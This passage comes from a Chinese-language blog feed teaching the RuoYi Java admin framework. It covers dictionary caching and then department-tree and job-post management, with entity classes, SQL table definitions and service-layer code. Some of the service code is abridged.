    $.each(data, function(i, dict) {
        $(&quot;#sexSelect&quot;).append(
            &apos;&amp;lt;option value=&quot;&apos; + dict.dictValue + &apos;&quot;&amp;gt;&apos; + dict.dictLabel + &apos;&amp;lt;/option&amp;gt;&apos;
        );
    });
});

// 翻译字典值
var sexLabel = $.getDictLabel(&quot;sys_user_sex&quot;, &quot;0&quot;);  // 返回 &quot;男&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;常用字典类型&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;字典类型&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;th&gt;示例值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sys_user_sex&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;用户性别&lt;/td&gt;
&lt;td&gt;0=男, 1=女, 2=未知&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sys_normal_disable&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;系统开关&lt;/td&gt;
&lt;td&gt;0=正常, 1=停用&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sys_show_hide&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;显示状态&lt;/td&gt;
&lt;td&gt;0=显示, 1=隐藏&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sys_yes_no&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;是否&lt;/td&gt;
&lt;td&gt;Y=是, N=否&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sys_job_status&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;任务状态&lt;/td&gt;
&lt;td&gt;0=正常, 1=暂停&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sys_job_group&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;任务分组&lt;/td&gt;
&lt;td&gt;DEFAULT=默认, SYSTEM=系统&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sys_oper_type&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;操作类型&lt;/td&gt;
&lt;td&gt;0=其它, 1=新增, 2=修改, 3=删除&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sys_common_status&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;登录状态&lt;/td&gt;
&lt;td&gt;0=成功, 1=失败&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// 字典管理核心流程
// 1. 初始化加载字典缓存
@PostConstruct
public void init() {
    loadingDictCache();
}

// 2. 查询字典数据（优先从缓存获取）
List&amp;lt;SysDictData&amp;gt; dictDatas = DictUtils.getDictCache(dictType);
if (StringUtils.isNull(dictDatas)) {
    dictDatas = dictDataMapper.selectDictDataByType(dictType);
    DictUtils.setDictCache(dictType, dictDatas);
}

// 3. 参数配置缓存
CacheUtils.put(getCacheName(), configKey, configValue);
String value = CacheUtils.get(getCacheName(), configKey);

// 4. 前端使用字典
${@dict.getLabel(&apos;sys_user_sex&apos;, user.sex)}
${@dict.getType(&apos;sys_user_sex&apos;)}
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类名&lt;/th&gt;
&lt;th&gt;职责&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SysDictType&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;字典类型实体&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SysDictData&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;字典数据实体&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SysConfig&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;参数配置实体&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DictUtils&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;字典缓存工具类&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CacheUtils&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;通用缓存工具类&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ISysDictTypeService&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;字典类型服务&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ISysConfigService&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;参数配置服务&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;缓存策略&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;启动加载&lt;/td&gt;
&lt;td&gt;@PostConstruct 初始化时加载&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;查询缓存&lt;/td&gt;
&lt;td&gt;优先从缓存获取，未命中则查询数据库&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;更新缓存&lt;/td&gt;
&lt;td&gt;新增/修改/删除时同步更新缓存&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;清空缓存&lt;/td&gt;
&lt;td&gt;可手动刷新字典缓存&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一步：&lt;a href=&quot;/blog/posts/ruoyi-roadmap-09-log-management/&quot;&gt;阶段九：日志管理&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在阶段九中，我们将学习操作日志和登录日志的实现，包括 AOP 切面编程的应用。&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>RuoYi 阶段七：部门与岗位管理</title><link>http://117.72.32.87/blog/posts/ruoyi-roadmap-07-dept-post/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/ruoyi-roadmap-07-dept-post/</guid><description>学习组织架构管理：部门树结构、岗位配置、用户关联，掌握递归构建树形数据的方法。</description><pubDate>Mon, 07 Sep 2026 09:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文是 RuoYi 学习路线的&lt;strong&gt;阶段七&lt;/strong&gt;，聚焦组织架构管理。学完本篇你应该能：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;理解部门树的递归构建方法&lt;/li&gt;
&lt;li&gt;掌握岗位与用户的关联关系&lt;/li&gt;
&lt;li&gt;知道数据权限在部门中的应用&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h2&gt;前端视角：组织架构像什么？&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;RuoYi 组织架构&lt;/th&gt;
&lt;th&gt;前端类比&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SysDept&lt;/code&gt; 部门&lt;/td&gt;
&lt;td&gt;组织树组件 (TreeSelect)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SysPost&lt;/code&gt; 岗位&lt;/td&gt;
&lt;td&gt;职位标签 / 角色配置&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;部门树&lt;/td&gt;
&lt;td&gt;级联选择器 (Cascader)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;用户关联部门&lt;/td&gt;
&lt;td&gt;用户信息中的部门字段&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;数据权限&lt;/td&gt;
&lt;td&gt;根据部门过滤数据&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;组织架构关系&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;        ┌─────────┐
        │  部门   │
        └────┬────┘
             │
    ┌────────┼────────┐
    │        │        │
┌───▼───┐ ┌─▼───┐ ┌─▼───┐
│ 岗位  │ │ 用户 │ │子部门│
└───────┘ └─────┘ └─────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;部门实体类 (SysDept)&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/common/core/domain/entity/SysDept.java
package com.ruoyi.common.core.domain.entity;

import javax.validation.constraints.*;
import org.apache.commons.lang3.builder.ToStringBuilder;
import org.apache.commons.lang3.builder.ToStringStyle;
import com.ruoyi.common.core.domain.BaseEntity;

/**
 * 部门表 sys_dept
 * 
 * @author ruoyi
 */
public class SysDept extends BaseEntity {
    private static final long serialVersionUID = 1L;

    /** 部门ID */
    private Long deptId;

    /** 父部门ID */
    private Long parentId;

    /** 祖级列表 */
    private String ancestors;

    /** 部门名称 */
    private String deptName;

    /** 显示顺序 */
    private Integer orderNum;

    /** 负责人 */
    private String leader;

    /** 联系电话 */
    private String phone;

    /** 邮箱 */
    private String email;

    /** 部门状态（0正常 1停用） */
    private String status;

    /** 删除标志（0代表存在 2代表删除） */
    private String delFlag;

    /** 父部门名称 */
    private String parentName;

    public Long getDeptId() {
        return deptId;
    }

    public void setDeptId(Long deptId) {
        this.deptId = deptId;
    }

    public Long getParentId() {
        return parentId;
    }

    public void setParentId(Long parentId) {
        this.parentId = parentId;
    }

    public String getAncestors() {
        return ancestors;
    }

    public void setAncestors(String ancestors) {
        this.ancestors = ancestors;
    }

    @NotBlank(message = &quot;部门名称不能为空&quot;)
    @Size(min = 0, max = 30, message = &quot;部门名称长度不能超过30个字符&quot;)
    public String getDeptName() {
        return deptName;
    }

    public void setDeptName(String deptName) {
        this.deptName = deptName;
    }

    @NotNull(message = &quot;显示顺序不能为空&quot;)
    public Integer getOrderNum() {
        return orderNum;
    }

    public void setOrderNum(Integer orderNum) {
        this.orderNum = orderNum;
    }

    public String getLeader() {
        return leader;
    }

    public void setLeader(String leader) {
        this.leader = leader;
    }

    @Size(min = 0, max = 11, message = &quot;联系电话长度不能超过11个字符&quot;)
    public String getPhone() {
        return phone;
    }

    public void setPhone(String phone) {
        this.phone = phone;
    }

    @Email(message = &quot;邮箱格式不正确&quot;)
    @Size(min = 0, max = 50, message = &quot;邮箱长度不能超过50个字符&quot;)
    public String getEmail() {
        return email;
    }

    public void setEmail(String email) {
        this.email = email;
    }

    public String getStatus() {
        return status;
    }

    public void setStatus(String status) {
        this.status = status;
    }

    public String getDelFlag() {
        return delFlag;
    }

    public void setDelFlag(String delFlag) {
        this.delFlag = delFlag;
    }

    public String getParentName() {
        return parentName;
    }

    public void setParentName(String parentName) {
        this.parentName = parentName;
    }

    @Override
    public String toString() {
        return new ToStringBuilder(this, ToStringStyle.MULTI_LINE_STYLE)
            .append(&quot;deptId&quot;, getDeptId())
            .append(&quot;parentId&quot;, getParentId())
            .append(&quot;deptName&quot;, getDeptName())
            .append(&quot;orderNum&quot;, getOrderNum())
            .append(&quot;leader&quot;, getLeader())
            .append(&quot;phone&quot;, getPhone())
            .append(&quot;email&quot;, getEmail())
            .append(&quot;status&quot;, getStatus())
            .append(&quot;delFlag&quot;, getDelFlag())
            .append(&quot;createBy&quot;, getCreateBy())
            .append(&quot;createTime&quot;, getCreateTime())
            .append(&quot;updateBy&quot;, getUpdateBy())
            .append(&quot;updateTime&quot;, getUpdateTime())
            .toString();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;祖级列表 (Ancestors)&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;ancestors&lt;/code&gt; 字段用于快速查询某个部门的所有下级部门：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;部门层级：总公司 → 研发中心 → 前端组
ancestors：0,100,101

含义：该部门的所有父级ID，用逗号分隔
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;查询所有下级部门&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;-- 查询研发中心（dept_id=101）的所有下级部门
SELECT * FROM sys_dept 
WHERE find_in_set(101, ancestors)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;岗位实体类 (SysPost)&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/system/domain/SysPost.java
package com.ruoyi.system.domain;

import javax.validation.constraints.*;
import org.apache.commons.lang3.builder.ToStringBuilder;
import org.apache.commons.lang3.builder.ToStringStyle;
import com.ruoyi.common.annotation.Excel;
import com.ruoyi.common.annotation.Excel.ColumnType;
import com.ruoyi.common.core.domain.BaseEntity;

/**
 * 岗位表 sys_post
 * 
 * @author ruoyi
 */
public class SysPost extends BaseEntity {
    private static final long serialVersionUID = 1L;

    /** 岗位序号 */
    @Excel(name = &quot;岗位序号&quot;, cellType = ColumnType.NUMERIC)
    private Long postId;

    /** 岗位编码 */
    @Excel(name = &quot;岗位编码&quot;)
    private String postCode;

    /** 岗位名称 */
    @Excel(name = &quot;岗位名称&quot;)
    private String postName;

    /** 岗位排序 */
    @Excel(name = &quot;岗位排序&quot;, cellType = ColumnType.NUMERIC)
    private Integer postSort;

    /** 状态（0正常 1停用） */
    @Excel(name = &quot;状态&quot;, readConverterExp = &quot;0=正常,1=停用&quot;)
    private String status;

    /** 用户是否存在此岗位标识 */
    private boolean flag = false;

    public Long getPostId() {
        return postId;
    }

    public void setPostId(Long postId) {
        this.postId = postId;
    }

    @NotBlank(message = &quot;岗位编码不能为空&quot;)
    @Size(min = 0, max = 64, message = &quot;岗位编码长度不能超过64个字符&quot;)
    public String getPostCode() {
        return postCode;
    }

    public void setPostCode(String postCode) {
        this.postCode = postCode;
    }

    @NotBlank(message = &quot;岗位名称不能为空&quot;)
    @Size(min = 0, max = 50, message = &quot;岗位名称长度不能超过50个字符&quot;)
    public String getPostName() {
        return postName;
    }

    public void setPostName(String postName) {
        this.postName = postName;
    }

    @NotNull(message = &quot;显示顺序不能为空&quot;)
    public Integer getPostSort() {
        return postSort;
    }

    public void setPostSort(Integer postSort) {
        this.postSort = postSort;
    }

    public String getStatus() {
        return status;
    }

    public void setStatus(String status) {
        this.status = status;
    }

    public boolean isFlag() {
        return flag;
    }

    public void setFlag(boolean flag) {
        this.flag = flag;
    }

    @Override
    public String toString() {
        return new ToStringBuilder(this, ToStringStyle.MULTI_LINE_STYLE)
            .append(&quot;postId&quot;, getPostId())
            .append(&quot;postCode&quot;, getPostCode())
            .append(&quot;postName&quot;, getPostName())
            .append(&quot;postSort&quot;, getPostSort())
            .append(&quot;status&quot;, getStatus())
            .append(&quot;createBy&quot;, getCreateBy())
            .append(&quot;createTime&quot;, getCreateTime())
            .append(&quot;updateBy&quot;, getUpdateBy())
            .append(&quot;updateTime&quot;, getUpdateTime())
            .append(&quot;remark&quot;, getRemark())
            .toString();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;数据库表结构&lt;/h2&gt;
&lt;h3&gt;部门表&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE sys_dept (
  dept_id           BIGINT(20)      NOT NULL AUTO_INCREMENT    COMMENT &apos;部门id&apos;,
  parent_id         BIGINT(20)      DEFAULT 0                  COMMENT &apos;父部门id&apos;,
  ancestors         VARCHAR(50)     DEFAULT &apos;&apos;                 COMMENT &apos;祖级列表&apos;,
  dept_name         VARCHAR(30)     DEFAULT &apos;&apos;                 COMMENT &apos;部门名称&apos;,
  order_num         INT(4)          DEFAULT 0                  COMMENT &apos;显示顺序&apos;,
  leader            VARCHAR(20)     DEFAULT NULL               COMMENT &apos;负责人&apos;,
  phone             VARCHAR(11)     DEFAULT NULL               COMMENT &apos;联系电话&apos;,
  email             VARCHAR(50)     DEFAULT NULL               COMMENT &apos;邮箱&apos;,
  status            CHAR(1)         DEFAULT &apos;0&apos;                COMMENT &apos;部门状态（0正常 1停用）&apos;,
  del_flag          CHAR(1)         DEFAULT &apos;0&apos;                COMMENT &apos;删除标志&apos;,
  create_by         VARCHAR(64)     DEFAULT &apos;&apos;                 COMMENT &apos;创建者&apos;,
  create_time       DATETIME                                   COMMENT &apos;创建时间&apos;,
  update_by         VARCHAR(64)     DEFAULT &apos;&apos;                 COMMENT &apos;更新者&apos;,
  update_time       DATETIME                                   COMMENT &apos;更新时间&apos;,
  PRIMARY KEY (dept_id)
) ENGINE=InnoDB AUTO_INCREMENT=200 COMMENT = &apos;部门表&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;岗位表&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE sys_post (
  post_id           BIGINT(20)      NOT NULL AUTO_INCREMENT    COMMENT &apos;岗位ID&apos;,
  post_code         VARCHAR(64)     NOT NULL                   COMMENT &apos;岗位编码&apos;,
  post_name         VARCHAR(50)     NOT NULL                   COMMENT &apos;岗位名称&apos;,
  post_sort         INT(4)          NOT NULL                   COMMENT &apos;显示顺序&apos;,
  status            CHAR(1)         NOT NULL                   COMMENT &apos;状态（0正常 1停用）&apos;,
  create_by         VARCHAR(64)     DEFAULT &apos;&apos;                 COMMENT &apos;创建者&apos;,
  create_time       DATETIME                                   COMMENT &apos;创建时间&apos;,
  update_by         VARCHAR(64)     DEFAULT &apos;&apos;                 COMMENT &apos;更新者&apos;,
  update_time       DATETIME                                   COMMENT &apos;更新时间&apos;,
  remark            VARCHAR(500)    DEFAULT NULL               COMMENT &apos;备注&apos;,
  PRIMARY KEY (post_id)
) ENGINE=InnoDB AUTO_INCREMENT=10 COMMENT = &apos;岗位信息表&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;用户岗位关联表&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE sys_user_post (
  user_id           BIGINT(20) NOT NULL COMMENT &apos;用户ID&apos;,
  post_id           BIGINT(20) NOT NULL COMMENT &apos;岗位ID&apos;,
  PRIMARY KEY(user_id, post_id)
) ENGINE=InnoDB COMMENT = &apos;用户与岗位关联表&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Service 层实现&lt;/h2&gt;
&lt;h3&gt;部门 Service 接口&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/system/service/ISysDeptService.java
package com.ruoyi.system.service;

import java.util.List;
import com.ruoyi.common.core.domain.Ztree;
import com.ruoyi.common.core.domain.entity.SysDept;
import com.ruoyi.common.core.domain.entity.SysRole;

/**
 * 部门管理 服务层
 * 
 * @author ruoyi
 */
public interface ISysDeptService {
    /**
     * 查询部门管理数据
     */
    public List&amp;lt;SysDept&amp;gt; selectDeptList(SysDept dept);

    /**
     * 查询部门管理树
     */
    public List&amp;lt;Ztree&amp;gt; selectDeptTree(SysDept dept);

    /**
     * 根据角色ID查询部门树
     */
    public List&amp;lt;Ztree&amp;gt; roleDeptTreeData(Long roleId);

    /**
     * 根据部门ID查询信息
     */
    public SysDept selectDeptById(Long deptId);

    /**
     * 根据ID查询所有子部门
     */
    public int selectDeptCount(Long deptId);

    /**
     * 是否存在子节点
     */
    public boolean hasChildByDeptId(Long deptId);

    /**
     * 查询部门是否存在用户
     */
    public boolean checkDeptExistUser(Long deptId);

    /**
     * 删除部门管理信息
     */
    public int deleteDeptById(Long deptId);

    /**
     * 新增保存部门信息
     */
    public int insertDept(SysDept dept);

    /**
     * 修改保存部门信息
     */
    public int updateDept(SysDept dept);

    /**
     * 校验部门名称是否唯一
     */
    public String checkDeptNameUnique(SysDept dept);

    /**
     * 根据部门ID查询角色数据权限
     */
    public List&amp;lt;Long&amp;gt; selectRoleDeptIds(Long roleId);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;部门 Service 实现&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/system/service/impl/SysDeptServiceImpl.java
package com.ruoyi.system.service.impl;

import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import org.apache.commons.lang3.ArrayUtils;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import com.ruoyi.common.annotation.DataScope;
import com.ruoyi.common.constant.UserConstants;
import com.ruoyi.common.core.domain.Ztree;
import com.ruoyi.common.core.domain.entity.SysDept;
import com.ruoyi.common.core.domain.entity.SysRole;
import com.ruoyi.common.exception.ServiceException;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.system.mapper.SysDeptMapper;
import com.ruoyi.system.mapper.SysRoleMapper;
import com.ruoyi.system.service.ISysDeptService;

/**
 * 部门管理 服务实现
 * 
 * @author ruoyi
 */
@Service
public class SysDeptServiceImpl implements ISysDeptService {
    @Autowired
    private SysDeptMapper deptMapper;

    @Autowired
    private SysRoleMapper roleMapper;

    /**
     * 查询部门管理数据
     */
    @Override
    @DataScope(deptAlias = &quot;d&quot;)
    public List&amp;lt;SysDept&amp;gt; selectDeptList(SysDept dept) {
        return deptMapper.selectDeptList(dept);
    }

    /**
     * 查询部门管理树
     */
    @Override
    public List&amp;lt;Ztree&amp;gt; selectDeptTree(SysDept dept) {
        List&amp;lt;SysDept&amp;gt; deptList = deptMapper.selectDeptList(dept);
        List&amp;lt;Ztree&amp;gt; ztrees = initZtree(deptList);
        return ztrees;
    }

    /**
     * 构建前端需要的树结构
     */
    public List&amp;lt;Ztree&amp;gt; initZtree(List&amp;lt;SysDept&amp;gt; depts) {
        List&amp;lt;Ztree&amp;gt; ztrees = new ArrayList&amp;lt;Ztree&amp;gt;();
        boolean isCheck = StringUtils.isNotNull(depts) &amp;amp;&amp;amp; depts.size() &amp;gt; 0;
        for (SysDept dept : depts) {
            Ztree ztree = new Ztree();
            ztree.setId(dept.getDeptId());
            ztree.setpId(dept.getParentId());
            ztree.setName(dept.getDeptName());
            ztree.setTitle(dept.getDeptName());
            ztree.setChecked(isCheck &amp;amp;&amp;amp; dept.isChecked());
            ztrees.add(ztree);
        }
        return ztrees;
    }

    /**
     * 根据角色ID查询部门树
     */
    @Override
    public List&amp;lt;Ztree&amp;gt; roleDeptTreeData(Long roleId) {
        List&amp;lt;SysDept&amp;gt; deptList = selectDeptList(new SysDept());
        SysRole role = roleMapper.selectRoleById(roleId);
        List&amp;lt;Ztree&amp;gt; ztrees = new ArrayList&amp;lt;Ztree&amp;gt;();
        for (SysDept dept : deptList) {
            Ztree ztree = new Ztree();
            ztree.setId(dept.getDeptId());
            ztree.setpId(dept.getParentId());
            ztree.setName(dept.getDeptName());
            ztree.setTitle(dept.getDeptName());
            // 判断角色是否拥有该部门权限
            if (StringUtils.isNotNull(role.getDeptIds()) 
                    &amp;amp;&amp;amp; ArrayUtils.contains(role.getDeptIds(), dept.getDeptId())) {
                ztree.setChecked(true);
            }
            ztrees.add(ztree);
        }
        return ztrees;
    }

    /**
     * 新增保存部门信息
     */
    @Override
    public int insertDept(SysDept dept) {
        SysDept info = deptMapper.selectDeptById(dept.getParentId());
        // 如果父节点不为&quot;正常&quot;状态,则不允许新增子节点
        if (!UserConstants.DEPT_NORMAL.equals(info.getStatus())) {
            throw new ServiceException(&quot;部门停用，不允许新增&quot;);
        }
        dept.setAncestors(info.getAncestors() + &quot;,&quot; + dept.getParentId());
        return deptMapper.insertDept(dept);
    }

    /**
     * 修改保存部门信息
     */
    @Override
    public int updateDept(SysDept dept) {
        SysDept newParentDept = deptMapper.selectDeptById(dept.getParentId());
        SysDept oldDept = selectDeptById(dept.getDeptId());
        if (StringUtils.isNotNull(newParentDept) &amp;amp;&amp;amp; StringUtils.isNotNull(oldDept)) {
            String newAncestors = newParentDept.getAncestors() + &quot;,&quot; + newParentDept.getDeptId();
            String oldAncestors = oldDept.getAncestors();
            dept.setAncestors(newAncestors);
            updateDeptChildren(dept.getDeptId(), newAncestors, oldAncestors);
        }
        int result = deptMapper.updateDept(dept);
        if (UserConstants.DEPT_NORMAL.equals(dept.getStatus()) 
                &amp;amp;&amp;amp; StringUtils.isNotEmpty(dept.getAncestors()) 
                &amp;amp;&amp;amp; !StringUtils.equals(&quot;0&quot;, dept.getAncestors())) {
            // 如果该部门是启用状态，则启用该部门的上级部门
            updateParentDeptStatusNormal(dept);
        }
        return result;
    }

    /**
     * 修改该部门的父级部门状态
     */
    private void updateParentDeptStatusNormal(SysDept dept) {
        String ancestors = dept.getAncestors();
        Long[] deptIds = Convert.toLongArray(ancestors);
        deptMapper.updateDeptStatusNormal(deptIds);
    }

    /**
     * 修改子元素关系
     */
    private void updateDeptChildren(Long deptId, String newAncestors, String oldAncestors) {
        List&amp;lt;SysDept&amp;gt; children = deptMapper.selectChildrenDeptById(deptId);
        for (SysDept child : children) {
            child.setAncestors(child.getAncestors().replaceFirst(oldAncestors, newAncestors));
        }
        if (children.size() &amp;gt; 0) {
            deptMapper.updateDeptChildren(children);
        }
    }

    /**
     * 删除部门管理信息
     */
    @Override
    public int deleteDeptById(Long deptId) {
        return deptMapper.deleteDeptById(deptId);
    }

    /**
     * 校验部门名称是否唯一
     */
    @Override
    public String checkDeptNameUnique(SysDept dept) {
        Long deptId = StringUtils.isNull(dept.getDeptId()) ? -1L : dept.getDeptId();
        SysDept info = deptMapper.checkDeptNameUnique(dept.getDeptName(), dept.getParentId());
        if (StringUtils.isNotNull(info) &amp;amp;&amp;amp; info.getDeptId().longValue() != deptId.longValue()) {
            return UserConstants.NOT_UNIQUE;
        }
        return UserConstants.UNIQUE;
    }

    /**
     * 是否存在子节点
     */
    @Override
    public boolean hasChildByDeptId(Long deptId) {
        int result = deptMapper.hasChildByDeptId(deptId);
        return result &amp;gt; 0;
    }

    /**
     * 查询部门是否存在用户
     */
    @Override
    public boolean checkDeptExistUser(Long deptId) {
        int result = deptMapper.checkDeptExistUser(deptId);
        return result &amp;gt; 0;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;岗位 Service 实现&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/system/service/impl/SysPostServiceImpl.java
package com.ruoyi.system.service.impl;

import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import com.ruoyi.common.constant.UserConstants;
import com.ruoyi.common.core.text.Convert;
import com.ruoyi.common.exception.ServiceException;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.system.domain.SysPost;
import com.ruoyi.system.mapper.SysPostMapper;
import com.ruoyi.system.mapper.SysUserPostMapper;
import com.ruoyi.system.service.ISysPostService;

/**
 * 岗位信息 服务层实现
 * 
 * @author ruoyi
 */
@Service
public class SysPostServiceImpl implements ISysPostService {
    @Autowired
    private SysPostMapper postMapper;

    @Autowired
    private SysUserPostMapper userPostMapper;

    /**
     * 查询岗位信息集合
     */
    @Override
    public List&amp;lt;SysPost&amp;gt; selectPostList(SysPost post) {
        return postMapper.selectPostList(post);
    }

    /**
     * 查询所有岗位
     */
    @Override
    public List&amp;lt;SysPost&amp;gt; selectPostAll() {
        return postMapper.selectPostAll();
    }

    /**
     * 根据用户ID查询岗位
     */
    @Override
    public List&amp;lt;SysPost&amp;gt; selectPostsByUserId(Long userId) {
        List&amp;lt;SysPost&amp;gt; userPosts = postMapper.selectPostsByUserId(userId);
        List&amp;lt;SysPost&amp;gt; posts = postMapper.selectPostAll();
        for (SysPost post : posts) {
            for (SysPost userPost : userPosts) {
                if (post.getPostId().longValue() == userPost.getPostId().longValue()) {
                    post.setFlag(true);
                    break;
                }
            }
        }
        return posts;
    }

    /**
     * 新增保存岗位信息
     */
    @Override
    public int insertPost(SysPost post) {
        return postMapper.insertPost(post);
    }

    /**
     * 修改保存岗位信息
     */
    @Override
    public int updatePost(SysPost post) {
        return postMapper.updatePost(post);
    }

    /**
     * 批量删除岗位信息
     */
    @Override
    public int deletePostByIds(String ids) {
        Long[] postIds = Convert.toLongArray(ids);
        for (Long postId : postIds) {
            SysPost post = selectPostById(postId);
            if (countUserPostById(postId) &amp;gt; 0) {
                throw new ServiceException(String.format(&quot;%1$s已分配,不能删除&quot;, post.getPostName()));
            }
        }
        return postMapper.deletePostByIds(postIds);
    }

    /**
     * 查询岗位绑定用户数
     */
    public int countUserPostById(Long postId) {
        return userPostMapper.countUserPostById(postId);
    }

    /**
     * 校验岗位名称是否唯一
     */
    @Override
    public String checkPostNameUnique(SysPost post) {
        Long postId = StringUtils.isNull(post.getPostId()) ? -1L : post.getPostId();
        SysPost info = postMapper.checkPostNameUnique(post.getPostName());
        if (StringUtils.isNotNull(info) &amp;amp;&amp;amp; info.getPostId().longValue() != postId.longValue()) {
            return UserConstants.NOT_UNIQUE;
        }
        return UserConstants.UNIQUE;
    }

    /**
     * 校验岗位编码是否唯一
     */
    @Override
    public String checkPostCodeUnique(SysPost post) {
        Long postId = StringUtils.isNull(post.getPostId()) ? -1L : post.getPostId();
        SysPost info = postMapper.checkPostCodeUnique(post.getPostCode());
        if (StringUtils.isNotNull(info) &amp;amp;&amp;amp; info.getPostId().longValue() != postId.longValue()) {
            return UserConstants.NOT_UNIQUE;
        }
        return UserConstants.UNIQUE;
    }
}
